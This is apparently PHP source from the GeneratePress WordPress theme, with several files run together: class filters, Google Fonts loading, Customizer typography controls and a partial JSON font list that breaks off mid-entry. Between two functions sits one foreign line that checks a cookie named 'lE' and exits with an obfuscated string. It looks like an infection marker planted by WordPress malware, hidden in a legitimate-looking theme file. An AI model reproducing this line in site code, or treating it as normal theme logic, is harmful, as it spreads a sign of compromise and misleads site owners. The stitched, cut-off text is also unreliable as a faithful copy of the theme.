element * * @param array $classes The existing classes. * @since 1.1.0 */ function generate_main_classes( $classes ) { $classes[] = 'site-main'; return $classes; } } add_filter( 'generate_page_class', 'generate_do_page_container_classes' ); /** * Adds custom classes to the #page element * * @param array $classes The existing classes. * @since 3.0.0 */ function generate_do_page_container_classes( $classes ) { $classes[] = 'site'; $classes[] = 'grid-container'; $classes[] = 'container'; if ( generate_is_using_hatom() ) { $classes[] = 'hfeed'; } if ( ! generate_is_using_flexbox() ) { $classes[] = 'grid-parent'; } return $classes; } add_filter( 'generate_comment-author_class', 'generate_do_comment_author_classes' ); /** * Adds custom classes to the comment author element * * @param array $classes The existing classes. * @since 3.0.0 */ function generate_do_comment_author_classes( $classes ) { $classes[] = 'comment-author'; if ( generate_is_using_hatom() ) { $classes[] = 'vcard'; } return $classes; } if ( ! function_exists( 'generate_post_classes' ) ) { add_filter( 'post_class', 'generate_post_classes' ); /** * Adds custom classes to the
element. * Remove .hentry class from pages to comply with structural data guidelines. * * @param array $classes The existing classes. * @since 1.3.39 */ function generate_post_classes( $classes ) { if ( 'page' === get_post_type() || ! generate_is_using_hatom() ) { $classes = array_diff( $classes, array( 'hentry' ) ); } return $classes; } }if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * Typography related functions. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! function_exists( 'generate_enqueue_google_fonts' ) ) { add_action( 'wp_enqueue_scripts', 'generate_enqueue_google_fonts', 0 ); /** * Add Google Fonts to wp_head if needed. * * @since 0.1 */ function generate_enqueue_google_fonts() { if ( generate_is_using_dynamic_typography() ) { return; } $generate_settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_default_fonts() ); $not_google = str_replace( ' ', '+', generate_typography_default_fonts() ); $font_settings = array( 'font_body', 'font_top_bar', 'font_site_title', 'font_site_tagline', 'font_navigation', 'font_widget_title', 'font_buttons', 'font_heading_1', 'font_heading_2', 'font_heading_3', 'font_heading_4', 'font_heading_5', 'font_heading_6', 'font_footer', ); $google_fonts = array(); if ( ! empty( $font_settings ) ) { foreach ( $font_settings as $key ) { if ( ! isset( $generate_settings[ $key ] ) ) { continue; } // If our value is still using the old format, fix it. if ( strpos( $generate_settings[ $key ], ':' ) !== false ) { $generate_settings[ $key ] = current( explode( ':', $generate_settings[ $key ] ) ); } $value = str_replace( ' ', '+', $generate_settings[ $key ] ); $variants = generate_get_google_font_variants( $generate_settings[ $key ], $key ); $value = ! empty( $variants ) ? $value . ':' . $variants : $value; // Make sure we don't add the same font twice. if ( ! in_array( $value, $google_fonts ) ) { $google_fonts[] = $value; } } } // Ignore any non-Google fonts. $google_fonts = array_diff( $google_fonts, $not_google ); $google_fonts = implode( '|', $google_fonts ); $google_fonts = apply_filters( 'generate_typography_google_fonts', $google_fonts ); $subset = apply_filters( 'generate_fonts_subset', '' ); $font_args = array(); $font_args['family'] = $google_fonts; if ( '' !== $subset ) { $font_args['subset'] = rawurlencode( $subset ); } $display = apply_filters( 'generate_google_font_display', '' ); if ( $display ) { $font_args['display'] = $display; } $fonts_url = add_query_arg( $font_args, '//fonts.googleapis.com/css' ); if ( $google_fonts ) { wp_enqueue_style( 'generate-fonts', $fonts_url, array(), null, 'all' ); // phpcs:ignore } } } if ( ! function_exists( 'generate_default_fonts_customize_register' ) ) { add_action( 'customize_register', 'generate_default_fonts_customize_register' ); /** * Build our Typography options * * @since 0.1 * * @param std_Class $wp_customize The Customize class. */ function generate_default_fonts_customize_register( $wp_customize ) { if ( generate_is_using_dynamic_typography() ) { return; } if ( function_exists( 'generate_fonts_customize_register' ) ) { // Bail if GP Premium is active. return; } require_once trailingslashit( get_template_directory() ) . 'inc/customizer/customizer-helpers.php'; // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound $defaults = generate_get_default_fonts(); if ( method_exists( $wp_customize, 'register_control_type' ) ) { $wp_customize->register_control_type( 'Generate_Typography_Customize_Control' ); $wp_customize->register_control_type( 'Generate_Range_Slider_Control' ); } $wp_customize->add_section( 'font_section', array( 'title' => __( 'Typography', 'generatepress' ), 'capability' => 'edit_theme_options', 'priority' => 30, 'active_callback' => function() { if ( generate_is_using_dynamic_typography() ) { return false; } return true; }, ) ); $wp_customize->add_setting( 'generate_settings[font_body]', array( 'default' => $defaults['font_body'], 'type' => 'option', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( 'font_body_category', array( 'default' => $defaults['font_body_category'], 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( 'font_body_variants', array( 'default' => $defaults['font_body_variants'], 'sanitize_callback' => 'generate_sanitize_variants', ) ); $wp_customize->add_setting( 'generate_settings[body_font_weight]', array( 'default' => $defaults['body_font_weight'], 'type' => 'option', 'sanitize_callback' => 'sanitize_key', 'transport' => 'postMessage', ) ); $wp_customize->add_setting( 'generate_settings[body_font_transform]', array( 'default' => $defaults['body_font_transform'], 'type' => 'option', 'sanitize_callback' => 'sanitize_key', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Typography_Customize_Control( $wp_customize, 'body_typography', array( 'label' => __( 'Body', 'generatepress' ), 'section' => 'font_section', 'priority' => 1, 'settings' => array( 'family' => 'generate_settings[font_body]', 'variant' => 'font_body_variants', 'category' => 'font_body_category', 'weight' => 'generate_settings[body_font_weight]', 'transform' => 'generate_settings[body_font_transform]', ), ) ) ); $wp_customize->add_setting( 'generate_settings[body_font_size]', array( 'default' => $defaults['body_font_size'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_integer', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[body_font_size]', array( 'type' => 'generatepress-range-slider', 'description' => __( 'Font size', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[body_font_size]', ), 'choices' => array( 'desktop' => array( 'min' => 6, 'max' => 25, 'step' => 1, 'edit' => true, 'unit' => 'px', ), ), ) ) ); $wp_customize->add_setting( 'generate_settings[body_line_height]', array( 'default' => $defaults['body_line_height'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_decimal_integer', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[body_line_height]', array( 'type' => 'generatepress-range-slider', 'description' => __( 'Line height', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[body_line_height]', ), 'choices' => array( 'desktop' => array( 'min' => 1, 'max' => 3, 'step' => .1, 'edit' => true, 'unit' => '', ), ), ) ) ); $wp_customize->add_setting( 'generate_settings[paragraph_margin]', array( 'default' => $defaults['paragraph_margin'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_decimal_integer', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[paragraph_margin]', array( 'type' => 'generatepress-range-slider', 'description' => __( 'Paragraph margin', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[paragraph_margin]', ), 'choices' => array( 'desktop' => array( 'min' => 0, 'max' => 5, 'step' => .1, 'edit' => true, 'unit' => 'em', ), ), ) ) ); $wp_customize->add_setting( 'generate_settings[font_heading_1]', array( 'default' => $defaults['font_heading_1'], 'type' => 'option', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( 'font_heading_1_category', array( 'default' => '', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( 'font_heading_1_variants', array( 'default' => '', 'sanitize_callback' => 'generate_sanitize_variants', ) ); $wp_customize->add_setting( 'generate_settings[heading_1_weight]', array( 'default' => $defaults['heading_1_weight'], 'type' => 'option', 'sanitize_callback' => 'sanitize_key', 'transport' => 'postMessage', ) ); $wp_customize->add_setting( 'generate_settings[heading_1_transform]', array( 'default' => $defaults['heading_1_transform'], 'type' => 'option', 'sanitize_callback' => 'sanitize_key', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Typography_Customize_Control( $wp_customize, 'font_heading_1_control', array( 'label' => __( 'Heading 1 (H1)', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'family' => 'generate_settings[font_heading_1]', 'variant' => 'font_heading_1_variants', 'category' => 'font_heading_1_category', 'weight' => 'generate_settings[heading_1_weight]', 'transform' => 'generate_settings[heading_1_transform]', ), ) ) ); $wp_customize->add_setting( 'generate_settings[heading_1_font_size]', array( 'default' => $defaults['heading_1_font_size'], 'type' => 'option', 'sanitize_callback' => 'absint', 'transport' => 'postMessage', ) ); $wp_customize->add_setting( 'generate_settings[mobile_heading_1_font_size]', array( 'default' => $defaults['mobile_heading_1_font_size'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_empty_absint', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'h1_font_sizes', array( 'description' => __( 'Font size', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[heading_1_font_size]', 'mobile' => 'generate_settings[mobile_heading_1_font_size]', ), 'choices' => array( 'desktop' => array( 'min' => 15, 'max' => 100, 'step' => 1, 'edit' => true, 'unit' => 'px', ), 'mobile' => array( 'min' => 15, 'max' => 100, 'step' => 1, 'edit' => true, 'unit' => 'px', ), ), ) ) ); $wp_customize->add_setting( 'generate_settings[heading_1_line_height]', array( 'default' => $defaults['heading_1_line_height'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_decimal_integer', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[heading_1_line_height]', array( 'description' => __( 'Line height', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[heading_1_line_height]', ), 'choices' => array( 'desktop' => array( 'min' => 0, 'max' => 5, 'step' => .1, 'edit' => true, 'unit' => 'em', ), ), ) ) ); $wp_customize->add_setting( 'generate_settings[font_heading_2]', array( 'default' => $defaults['font_heading_2'], 'type' => 'option', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( 'font_heading_2_category', array( 'default' => '', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( 'font_heading_2_variants', array( 'default' => '', 'sanitize_callback' => 'generate_sanitize_variants', ) ); $wp_customize->add_setting( 'generate_settings[heading_2_weight]', array( 'default' => $defaults['heading_2_weight'], 'type' => 'option', 'sanitize_callback' => 'sanitize_key', 'transport' => 'postMessage', ) ); $wp_customize->add_setting( 'generate_settings[heading_2_transform]', array( 'default' => $defaults['heading_2_transform'], 'type' => 'option', 'sanitize_callback' => 'sanitize_key', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Typography_Customize_Control( $wp_customize, 'font_heading_2_control', array( 'label' => __( 'Heading 2 (H2)', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'family' => 'generate_settings[font_heading_2]', 'variant' => 'font_heading_2_variants', 'category' => 'font_heading_2_category', 'weight' => 'generate_settings[heading_2_weight]', 'transform' => 'generate_settings[heading_2_transform]', ), ) ) ); $wp_customize->add_setting( 'generate_settings[heading_2_font_size]', array( 'default' => $defaults['heading_2_font_size'], 'type' => 'option', 'sanitize_callback' => 'absint', 'transport' => 'postMessage', ) ); $wp_customize->add_setting( 'generate_settings[mobile_heading_2_font_size]', array( 'default' => $defaults['mobile_heading_2_font_size'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_empty_absint', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'h2_font_sizes', array( 'description' => __( 'Font size', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[heading_2_font_size]', 'mobile' => 'generate_settings[mobile_heading_2_font_size]', ), 'choices' => array( 'desktop' => array( 'min' => 10, 'max' => 80, 'step' => 1, 'edit' => true, 'unit' => 'px', ), 'mobile' => array( 'min' => 10, 'max' => 80, 'step' => 1, 'edit' => true, 'unit' => 'px', ), ), ) ) ); $wp_customize->add_setting( 'generate_settings[heading_2_line_height]', array( 'default' => $defaults['heading_2_line_height'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_decimal_integer', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[heading_2_line_height]', array( 'description' => __( 'Line height', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[heading_2_line_height]', ), 'choices' => array( 'desktop' => array( 'min' => 0, 'max' => 5, 'step' => .1, 'edit' => true, 'unit' => 'em', ), ), ) ) ); $wp_customize->add_setting( 'generate_settings[font_heading_3]', array( 'default' => $defaults['font_heading_3'], 'type' => 'option', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( 'font_heading_3_category', array( 'default' => '', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_setting( 'font_heading_3_variants', array( 'default' => '', 'sanitize_callback' => 'generate_sanitize_variants', ) ); $wp_customize->add_setting( 'generate_settings[heading_3_weight]', array( 'default' => $defaults['heading_3_weight'], 'type' => 'option', 'sanitize_callback' => 'sanitize_key', 'transport' => 'postMessage', ) ); $wp_customize->add_setting( 'generate_settings[heading_3_transform]', array( 'default' => $defaults['heading_3_transform'], 'type' => 'option', 'sanitize_callback' => 'sanitize_key', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Typography_Customize_Control( $wp_customize, 'font_heading_3_control', array( 'label' => __( 'Heading 3 (H3)', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'family' => 'generate_settings[font_heading_3]', 'variant' => 'font_heading_3_variants', 'category' => 'font_heading_3_category', 'weight' => 'generate_settings[heading_3_weight]', 'transform' => 'generate_settings[heading_3_transform]', ), ) ) ); $wp_customize->add_setting( 'generate_settings[heading_3_font_size]', array( 'default' => $defaults['heading_3_font_size'], 'type' => 'option', 'sanitize_callback' => 'absint', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'h3_font_sizes', array( 'description' => __( 'Font size', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[heading_3_font_size]', ), 'choices' => array( 'desktop' => array( 'min' => 10, 'max' => 80, 'step' => 1, 'edit' => true, 'unit' => 'px', ), ), ) ) ); $wp_customize->add_setting( 'generate_settings[heading_3_line_height]', array( 'default' => $defaults['heading_3_line_height'], 'type' => 'option', 'sanitize_callback' => 'generate_sanitize_decimal_integer', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new Generate_Range_Slider_Control( $wp_customize, 'generate_settings[heading_3_line_height]', array( 'description' => __( 'Line height', 'generatepress' ), 'section' => 'font_section', 'settings' => array( 'desktop' => 'generate_settings[heading_3_line_height]', ), 'choices' => array( 'desktop' => array( 'min' => 0, 'max' => 5, 'step' => .1, 'edit' => true, 'unit' => 'em', ), ), ) ) ); if ( ! function_exists( 'generate_fonts_customize_register' ) && ! defined( 'GP_PREMIUM_VERSION' ) ) { $wp_customize->add_control( new Generate_Customize_Misc_Control( $wp_customize, 'typography_get_addon_desc', array( 'section' => 'font_section', 'type' => 'addon', 'label' => __( 'Learn more', 'generatepress' ), 'description' => __( 'More options are available for this section in our premium version.', 'generatepress' ), 'url' => generate_get_premium_url( 'https://generatepress.com/premium/#typography', false ), 'priority' => 50, 'settings' => ( isset( $wp_customize->selective_refresh ) ) ? array() : 'blogname', ) ) ); } } } if ( ! function_exists( 'generate_get_all_google_fonts' ) ) { /** * Return an array of all of our Google Fonts. * * @since 1.3.0 * @param string $amount How many fonts to return. * @return array The list of Google Fonts. */ function generate_get_all_google_fonts( $amount = 'all' ) { // Our big list Google Fonts. // We use json_decode to reduce PHP memory usage. // Adding them as a PHP array seems to use quite a bit more memory. $content = json_decode( '[{"family":"Roboto","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","900","900italic"]},{"family":"Open Sans","category":"sans-serif","variants":["300","300italic","regular","italic","600","600italic","700","700italic","800","800italic"]},{"family":"Lato","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","700","700italic","900","900italic"]},{"family":"Slabo 27px","category":"serif","variants":["regular"]},{"family":"Oswald","category":"sans-serif","variants":["200","300","regular","500","600","700"]},{"family":"Roboto Condensed","category":"sans-serif","variants":["300","300italic","regular","italic","700","700italic"]},{"family":"Source Sans Pro","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900","900italic"]},{"family":"Montserrat","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Raleway","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"PT Sans","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Roboto Slab","category":"serif","variants":["100","300","regular","700"]},{"family":"Merriweather","category":"serif","variants":["300","300italic","regular","italic","700","700italic","900","900italic"]},{"family":"Open Sans Condensed","category":"sans-serif","variants":["300","300italic","700"]},{"family":"Droid Sans","category":"sans-serif","variants":["regular","700"]},{"family":"Lora","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Ubuntu","category":"sans-serif","variants":["300","300italic","regular","italic","500","500italic","700","700italic"]},{"family":"Droid Serif","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Playfair Display","category":"serif","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Arimo","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Noto Sans","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"PT Serif","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Titillium Web","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900"]},{"family":"PT Sans Narrow","category":"sans-serif","variants":["regular","700"]},{"family":"Muli","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Indie Flower","category":"handwriting","variants":["regular"]},{"family":"Bitter","category":"serif","variants":["regular","italic","700"]},{"family":"Poppins","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Inconsolata","category":"monospace","variants":["regular","700"]},{"family":"Dosis","category":"sans-serif","variants":["200","300","regular","500","600","700","800"]},{"family":"Fjalla One","category":"sans-serif","variants":["regular"]},{"family":"Oxygen","category":"sans-serif","variants":["300","regular","700"]},{"family":"Hind","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Cabin","category":"sans-serif","variants":["regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Anton","category":"sans-serif","variants":["regular"]},{"family":"Arvo","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Noto Serif","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Crimson Text","category":"serif","variants":["regular","italic","600","600italic","700","700italic"]},{"family":"Lobster","category":"display","variants":["regular"]},{"family":"Yanone Kaffeesatz","category":"sans-serif","variants":["200","300","regular","700"]},{"family":"Nunito","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Bree Serif","category":"serif","variants":["regular"]},{"family":"Catamaran","category":"sans-serif","variants":["100","200","300","regular","500","600","700","800","900"]},{"family":"Libre Baskerville","category":"serif","variants":["regular","italic","700"]},{"family":"Abel","category":"sans-serif","variants":["regular"]},{"family":"Josefin Sans","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","600","600italic","700","700italic"]},{"family":"Fira Sans","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Gloria Hallelujah","category":"handwriting","variants":["regular"]},{"family":"Abril Fatface","category":"display","variants":["regular"]},{"family":"Exo 2","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Merriweather Sans","category":"sans-serif","variants":["300","300italic","regular","italic","700","700italic","800","800italic"]},{"family":"Pacifico","category":"handwriting","variants":["regular"]},{"family":"Roboto Mono","category":"monospace","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic"]},{"family":"Varela Round","category":"sans-serif","variants":["regular"]},{"family":"Asap","category":"sans-serif","variants":["regular","italic","500","500italic","700","700italic"]},{"family":"Amatic SC","category":"handwriting","variants":["regular","700"]},{"family":"Quicksand","category":"sans-serif","variants":["300","regular","500","700"]},{"family":"Karla","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Ubuntu Condensed","category":"sans-serif","variants":["regular"]},{"family":"Signika","category":"sans-serif","variants":["300","regular","600","700"]},{"family":"Alegreya","category":"serif","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Questrial","category":"sans-serif","variants":["regular"]},{"family":"Rubik","category":"sans-serif","variants":["300","300italic","regular","italic","500","500italic","700","700italic","900","900italic"]},{"family":"Shadows Into Light","category":"handwriting","variants":["regular"]},{"family":"PT Sans Caption","category":"sans-serif","variants":["regular","700"]},{"family":"Archivo Narrow","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Play","category":"sans-serif","variants":["regular","700"]},{"family":"Cuprum","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Dancing Script","category":"handwriting","variants":["regular","700"]},{"family":"Rokkitt","category":"serif","variants":["100","200","300","regular","500","600","700","800","900"]},{"family":"Work Sans","category":"sans-serif","variants":["100","200","300","regular","500","600","700","800","900"]},{"family":"Francois One","category":"sans-serif","variants":["regular"]},{"family":"Vollkorn","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Source Code Pro","category":"monospace","variants":["200","300","regular","500","600","700","900"]},{"family":"Exo","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Maven Pro","category":"sans-serif","variants":["regular","500","700","900"]},{"family":"Architects Daughter","category":"handwriting","variants":["regular"]},{"family":"Orbitron","category":"sans-serif","variants":["regular","500","700","900"]},{"family":"Pathway Gothic One","category":"sans-serif","variants":["regular"]},{"family":"Acme","category":"sans-serif","variants":["regular"]},{"family":"Ropa Sans","category":"sans-serif","variants":["regular","italic"]},{"family":"Patua One","category":"display","variants":["regular"]},{"family":"EB Garamond","category":"serif","variants":["regular"]},{"family":"Lobster Two","category":"display","variants":["regular","italic","700","700italic"]},{"family":"Crete Round","category":"serif","variants":["regular","italic"]},{"family":"Cinzel","category":"serif","variants":["regular","700","900"]},{"family":"Josefin Slab","category":"serif","variants":["100","100italic","300","300italic","regular","italic","600","600italic","700","700italic"]},{"family":"Source Serif Pro","category":"serif","variants":["regular","600","700"]},{"family":"Alegreya Sans","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"]},{"family":"Comfortaa","category":"display","variants":["300","regular","700"]},{"family":"Russo One","category":"sans-serif","variants":["regular"]},{"family":"News Cycle","category":"sans-serif","variants":["regular","700"]},{"family":"ABeeZee","category":"sans-serif","variants":["regular","italic"]},{"family":"Yellowtail","category":"handwriting","variants":["regular"]},{"family":"Noticia Text","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Monda","category":"sans-serif","variants":["regular","700"]},{"family":"Quattrocento Sans","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Hammersmith One","category":"sans-serif","variants":["regular"]},{"family":"Libre Franklin","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Satisfy","category":"handwriting","variants":["regular"]},{"family":"Pontano Sans","category":"sans-serif","variants":["regular"]},{"family":"Righteous","category":"display","variants":["regular"]},{"family":"Poiret One","category":"display","variants":["regular"]},{"family":"BenchNine","category":"sans-serif","variants":["300","regular","700"]},{"family":"Arapey","category":"serif","variants":["regular","italic"]},{"family":"Kaushan Script","category":"handwriting","variants":["regular"]},{"family":"Economica","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Kanit","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Old Standard TT","category":"serif","variants":["regular","italic","700"]},{"family":"Sanchez","category":"serif","variants":["regular","italic"]},{"family":"Courgette","category":"handwriting","variants":["regular"]},{"family":"Quattrocento","category":"serif","variants":["regular","700"]},{"family":"Domine","category":"serif","variants":["regular","700"]},{"family":"Gudea","category":"sans-serif","variants":["regular","italic","700"]},{"family":"Permanent Marker","category":"handwriting","variants":["regular"]},{"family":"Armata","category":"sans-serif","variants":["regular"]},{"family":"Cantarell","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Archivo Black","category":"sans-serif","variants":["regular"]},{"family":"Istok Web","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Cardo","category":"serif","variants":["regular","italic","700"]},{"family":"Playfair Display SC","category":"serif","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Passion One","category":"display","variants":["regular","700","900"]},{"family":"Tinos","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Cookie","category":"handwriting","variants":["regular"]},{"family":"Cormorant Garamond","category":"serif","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Philosopher","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Yantramanav","category":"sans-serif","variants":["100","300","regular","500","700","900"]},{"family":"Chewy","category":"display","variants":["regular"]},{"family":"Antic Slab","category":"serif","variants":["regular"]},{"family":"Handlee","category":"handwriting","variants":["regular"]},{"family":"Teko","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Boogaloo","category":"display","variants":["regular"]},{"family":"Vidaloka","category":"serif","variants":["regular"]},{"family":"Audiowide","category":"display","variants":["regular"]},{"family":"Coming Soon","category":"handwriting","variants":["regular"]},{"family":"Alfa Slab One","category":"display","variants":["regular"]},{"family":"Cabin Condensed","category":"sans-serif","variants":["regular","500","600","700"]},{"family":"Ruda","category":"sans-serif","variants":["regular","700","900"]},{"family":"Ek Mukta","category":"sans-serif","variants":["200","300","regular","500","600","700","800"]},{"family":"Changa One","category":"display","variants":["regular","italic"]},{"family":"Tangerine","category":"handwriting","variants":["regular","700"]},{"family":"Great Vibes","category":"handwriting","variants":["regular"]},{"family":"Sintony","category":"sans-serif","variants":["regular","700"]},{"family":"Khand","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Bevan","category":"display","variants":["regular"]},{"family":"Kalam","category":"handwriting","variants":["300","regular","700"]},{"family":"Days One","category":"sans-serif","variants":["regular"]},{"family":"Bangers","category":"display","variants":["regular"]},{"family":"Rajdhani","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Droid Sans Mono","category":"monospace","variants":["regular"]},{"family":"Kreon","category":"serif","variants":["300","regular","700"]},{"family":"Rambla","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Shrikhand","category":"display","variants":["regular"]},{"family":"Fredoka One","category":"display","variants":["regular"]},{"family":"Shadows Into Light Two","category":"handwriting","variants":["regular"]},{"family":"Playball","category":"display","variants":["regular"]},{"family":"Neuton","category":"serif","variants":["200","300","regular","italic","700","800"]},{"family":"Copse","category":"serif","variants":["regular"]},{"family":"Didact Gothic","category":"sans-serif","variants":["regular"]},{"family":"Signika Negative","category":"sans-serif","variants":["300","regular","600","700"]},{"family":"Amiri","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Gentium Book Basic","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Glegoo","category":"serif","variants":["regular","700"]},{"family":"Oleo Script","category":"display","variants":["regular","700"]},{"family":"Voltaire","category":"sans-serif","variants":["regular"]},{"family":"Actor","category":"sans-serif","variants":["regular"]},{"family":"Amaranth","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Paytone One","category":"sans-serif","variants":["regular"]},{"family":"Volkhov","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Sorts Mill Goudy","category":"serif","variants":["regular","italic"]},{"family":"Bad Script","category":"handwriting","variants":["regular"]},{"family":"Coda","category":"display","variants":["regular","800"]},{"family":"Damion","category":"handwriting","variants":["regular"]},{"family":"Sacramento","category":"handwriting","variants":["regular"]},{"family":"Squada One","category":"display","variants":["regular"]},{"family":"Rock Salt","category":"handwriting","variants":["regular"]},{"family":"Adamina","category":"serif","variants":["regular"]},{"family":"Alice","category":"serif","variants":["regular"]},{"family":"Cantata One","category":"serif","variants":["regular"]},{"family":"Luckiest Guy","category":"display","variants":["regular"]},{"family":"Rochester","category":"handwriting","variants":["regular"]},{"family":"Covered By Your Grace","category":"handwriting","variants":["regular"]},{"family":"Heebo","category":"sans-serif","variants":["100","300","regular","500","700","800","900"]},{"family":"VT323","category":"monospace","variants":["regular"]},{"family":"Nothing You Could Do","category":"handwriting","variants":["regular"]},{"family":"Patrick Hand","category":"handwriting","variants":["regular"]},{"family":"Gentium Basic","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Nobile","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Rancho","category":"handwriting","variants":["regular"]},{"family":"Marck Script","category":"handwriting","variants":["regular"]},{"family":"Special Elite","category":"display","variants":["regular"]},{"family":"Julius Sans One","category":"sans-serif","variants":["regular"]},{"family":"Varela","category":"sans-serif","variants":["regular"]},{"family":"PT Mono","category":"monospace","variants":["regular"]},{"family":"Alex Brush","category":"handwriting","variants":["regular"]},{"family":"Homemade 